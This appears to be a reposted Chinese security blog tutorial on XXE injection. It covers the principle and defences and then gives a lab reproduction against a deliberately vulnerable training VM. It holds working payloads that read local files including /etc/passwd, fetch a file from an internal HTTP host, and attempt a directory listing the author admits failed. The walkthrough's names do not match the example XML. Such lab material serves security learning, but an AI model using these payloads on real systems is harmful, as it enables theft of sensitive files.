细节揭示:XXE漏洞复现步骤及安全防护建议

环境准备

这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。 

攻击相关介绍

介绍:

        XXE漏洞发生在那些使用XML解析器处理用户提供的XML输入的应用程序中。攻击者通过在用户输入的XML文档中插入恶意的实体引用,来触发XML解析器加载外部实体。这些外部实体可能指向本地文件系统或通过网络访问的远程资源。

原理:

        XML解析器通常支持实体引用,用于引用和重用已定义的实体。XXE漏洞的原理是通过在用户的XML输入中插入恶意的实体引用,攻击者可以读取敏感文件内容、执行系统命令、发起远程请求等。当解析器对恶意实体引用进行解析时,攻击者可以通过解析器的响应来获取所需的信息。

使用方法: 

  • 在XML输入中插入外部实体引用:通过在用户的XML输入中插入恶意的实体引用,攻击者可以读取本地文件的内容或执行系统命令。
  • 利用远程实体:攻击者可以将实体引用指向远程服务器上的XML实体,从而获取远程资源的敏感信息。

使用前提:

  • 攻击者能够向目标应用程序提交构造的恶意XML输入,并且应用程序会使用XML解析器对该输入进行处理。

防御方法:

  • 输入验证和过滤:对用户提交的XML输入进行严格的输入验证,过滤并移除潜在的恶意内容。
  • 禁用实体解析:在XML解析器中禁用外部实体解析,以防止恶意实体的加载。
  • 使用安全的XML处理库:选择使用经过安全审计的XML处理库,这些库已经修复了XXE漏洞的问题。
  • 最小化代码中的实体引用:尽可能避免在代码中直接使用实体引用。

简单的XML文档示例

<?xml version="1.0"?>
<!DOCTYPE note[ 
<!ENTITY entity-name SYSTEM "URI/URL">
]>
<note>
  <to>杰瑞</to>
  <from>汤姆</from>
  <head>提醒</head>
  <body>你是个好人</body>
</note>

下面是对该示例源码逐行解析的说明,以帮助新手理解:

  • <?xml version="1.0"?>:这是XML声明部分,它说明了这个XML文档的版本号是1.0。

  • <!DOCTYPE note[ :这是文档类型定义(DTD)的开始标记。它指定了文档的类型为"note",并在方括号中定义了相关内容。

  • <!ENTITY entity-name SYSTEM "URI/URL">:这是一个实体声明。实体可以代表一个值,也可以引用外部资源。在这里,"entity-name"是实体的名称,"SYSTEM"表示引用的方式,"URI/URL"是实体引用的位置,可以是文件的URI或URL地址。

  • ]>:这是文档类型定义(DTD)的结束标记。

  • <note>:这是文档的根元素,它包含了其他的子元素。

  • <to>Dave</to>:这是一个子元素,表示接收者的信息。它的标签是"to",标签内的文本内容是"Dave",表示接收者的名字是"Dave"。

  • <from>Tom</from>:这是另一个子元素,表示发送者的信息。它的标签是"from",标签内的文本内容是"Tom",表示发送者的名字是"Tom"。

  • <head>Reminder</head>:这是第三个子元素,表示便签的标题。它的标签是"head",标签内的文本内容是"Reminder",表示便签的标题是"Reminder"。

  • <body>You are a good man</body>:这是最后一个子元素,表示便签的内容。它的标签是"body",标签内的文本内容是"You are a good man",表示便签的内容是"You are a good man"。

  • </note>:这是根元素的结束标签,用来闭合根元素。

这个示例源码表示了一个简单的便签信息,包括了接收者、发送者、标题和内容等信息。

攻击复现(参考) 

靶场

靶场我使用OWASP_Broken_Web_Apps虚拟机中提供的靶场

攻击payload

1)通过file:///协议读取本地文件:
# 读取本地F盘下的1.txt文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///F:/1.txt">
]>
<foo>&xxe;</foo>

读取直接读取敏感文件

<!DOCTYPE foo [  
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]> 
<root>&xxe;</root>

2) 通过HTTP协议读取远程文件
# 读取远程192.168.100.58主机(我自己电脑的ip,本地ip)的1.txt
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "http://192.168.100.58/1.txt">
]>
<foo>&xxe;</foo>

3)列出目录内容:(这个攻击语句我也执行不成功,知道有这个东西就行,一般测试漏洞有前面的也够了)
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/">
<!ENTITY % eval "<!ENTITY % directory SYSTEM 'file:///%file;'>">
%eval;
%directory;
]>
<test>&directory;</test>

猜你喜欢

转载自blog.csdn.net/weixin_43263566/article/details/132481591
今日推荐